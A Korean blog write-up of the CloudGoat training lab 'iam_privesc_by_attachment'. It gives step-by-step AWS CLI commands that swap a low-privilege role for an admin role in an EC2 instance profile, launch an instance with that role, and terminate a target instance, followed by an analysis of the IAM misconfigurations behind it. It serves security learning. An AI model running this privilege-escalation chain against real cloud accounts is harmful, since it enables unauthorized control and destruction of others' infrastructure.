[CloudGoat] 4. iam_privesc_by_attachment
이것저것/Cloud

[CloudGoat] 4. iam_privesc_by_attachment

# Start

$ ./cloudgoat.py create iam_privesc_by_attachment

[+] Start.txt

[+] goal

Delete the EC2 instance "cg-super-critical-security-server.
  • "cg-super-critical-security-server"라는 EC2 instance를 삭제하는 것이 목표다!

# Exploit Scenario

Step1. configure + 사용자 권한 확인

$ aws configure --profile Kerrigan

  • start.txt에 저장되어 있던 Access Key ID와 Secret Access Key를 사용한다.
  • Default region name은 "us-east-1"로 넣어줬다.

이렇게 사용자를 등록하고 난 후, Kerrigan에게 주어진 privileges를 확인해본다.

 

$ aws iam list-user-policies --user-name kerrigan --profile Kerrigan
$ aws iam list-attached-user-policies --user-name kerrigan --profile Kerrigan

  • 현재 사용자 kerrigan의 상태에서는 policy 정보를 출력해볼 수 없다.
$ aws iam list-roles --profile Kerrigan

  • 2 개의 IAM Role을 확인할 수 있다.
    • cg-ec2-meek-role-iam_privesc_by_attachment_cgidm648t7hwvz
    • cg-ec2-mighty-role-iam_privesc_by_attachment_cgidm648t7hwvz

Step2. list Instance

$ aws iam list-instance-profiles --profile Kerrigan

  • 특정 경로 prefix에 대한 instance들을 나열한다.
$ aws ec2 describe-instances --profile Kerrigan

  • 이 때 SSH 연결을 할 수 있는 security group id를 기억해둬야한다.
  • 현재 cloudgoat name과 같은 애들로 잘 골라야한다!

Step3. remove & add role

$ aws iam remove-role-from-instance-profile --instance-profile-name cg-ec2-meek-instance-profile-iam_privesc_by_attachment_cgidm648t7hwvz --role-name cg-ec2-meek-role-iam_privesc_by_attachment_cgidm648t7hwvz --profile Kerrigan
$ aws iam add-role-to-instance-profile --instance-profile-name cg-ec2-meek-instance-profile-iam_privesc_by_attachment_cgidm648t7hwvz --role-name cg-ec2-mighty-role-iam_privesc_by_attachment_cgidm648t7hwvz --profile Kerrigan

Step4. new key pair

$ aws ec2 create-key-pair --key-name cg04 --profile Kerrigan --query 'KeyMaterial' --output text > cg04.pem
  • 2048 bit의 RSA Key를 생성한다.
$ chmod 600 cg04.pem
  • key의 권한을 수정한다.

Step5. new Instance

$ aws ec2 run-instances --image-id [ImageId] --instance-type t2.micro --iam-instance-profile Arn=[InstanceId] --key-name cg04 --subnet-id [SubnetId] --security-group-ids [sg Id] --region us-east-1 --profile Kerrigan

$ aws ec2 describe-instance-status --instance-ids i-0c34edea2474bfa54

  • 생성한 인스턴스가 제대로 running 상태가 되었는지 확인한다.

  • Public DNS 가 출력되지 않아 직접 들어가 확인했다. ((이렇게 하는 걸 의도한 것 같지는 않지만... 우선은..!

Step5. SSH into new Instance

드디어 연결 성공!!!

$ sudo apt-get update
$ sudo apt-get install awscli

Step6. check permissions

$ aws iam list-attached-role-policies --role-name cg-ec2-mighty-role-iam_privesc_by_attachment_cgidm648t7hwvz

$ aws iam get-policy --policy-arn arn:aws:iam::356473621289:policy/cg-ec2-mighty-policy

$ aws iam get-policy-version --policy-arn arn:aws:iam::356473621289:policy/cg-ec2-mighty-policy --version-id v1

  • 관리자 권한을 가진 인스턴스를 생성했다는 것을 확인할 수 있다.

Step7. terminate the instance

$ aws ec2 terminate-instances --instance-ids i-0b4e45e2ab91479ff --region us-east-1

  • 새로 생성한 인스턴스가 아닌 기존의 인스턴스를 종료시킨다.
  • 성공적으로 종료시킨 것을 확인할 수 있다.

[+] destroy

로그아웃하고난 후 destroy한다.

$ exit
$ cd ..
$ ./cloudgoat.py destroy iam_privesc_by_attachment_[]

(( + 그리고 계속 클라우드 고트를 하다보면 인스턴스가 생성되기 때문에 혹시 프리티어를 쓰고있다면 틈틈히 삭제해주자..!)


# Analyze

취약점

  • 공격자가 "meek role"을 제거하고 인스턴스 프로필에 "mighty role"을 추가할 수 있다. 
  • mighty role을 디폴트 role으로 하는 새로운 인스턴스를 생성해 기존의 인스턴스를 제거할 수 있다.

발생 원인

  • 사용자가 어떠한 인증없이 instance에 role을 삭제하고 추가할 수 있도록 되어있다.
  • 낮은 권한의 사용자도 높은 권한을 적용시킨 인스턴스를 생성할 수 있다.
  • 사용자에게 전체 roles에 대해 열람해볼 수 있도록 되어있다.
  • 다른 인스턴스의 정보들을 모두 출력하고 public. private DNS 서버를 모두 확인할 수 있다.

# Trouble-shooting 🏹⚒

ssh 연결 후 pw 입력창 ?!

아마 이 경우라면 pem파일을 잘못 생성했을 가능성이 높다..!

ssh : connection refused

iam_privesc_by_attachment를 destroy 해보기도 하고,, 아예 클라우드고트도 다시 설치하고, iam user도 새로 생성해보기도 했지만,,!

이런 오류가 계속 발생했다.

멘토님께 질문드리니 아마 인스턴스의 리전(region) 문제일 가능성이 높다는 힌트를 얻을 수 있었다!!

생각해보니 계속 설정을 할 때 region을 "us-east-1"으로 바꿔 설정해줘야했었는데 뭔가 이런 부분에서 오류가 생긴 듯 하다!

https://ndb796.tistory.com/257

 

AWS EC2 인스턴스 지역 변경하기 (이미지를 활용한 방법)

가끔 자신이 AWS EC2로 운영하고 있는 서버의 지역(Region)을 바꾸고 싶을 때가 있습니다. 저는 다음과 같이 기존의 서버를 [오하이오] 지역에서 운영하고 있는 상태였습니다. 이를 [서울] 지역으로

ndb796.tistory.com

위의 블로그를 따라 region을 "us-east-1"으로 옮겼다.

SMALL

'이것저것 > Cloud' 카테고리의 다른 글

[CloudGoat] 6. rce_web_app  (0) 2021.08.18
[CloudGoat] 5. ec2_ssrf  (0) 2021.08.17
[CloudGoat] 3. cloud_breach_s3  (0) 2021.08.16
[CloudGoat] 2. lambda_privesc  (0) 2021.08.15
[CloudGoat] 1. iam_privesc_by_rollback  (0) 2021.08.15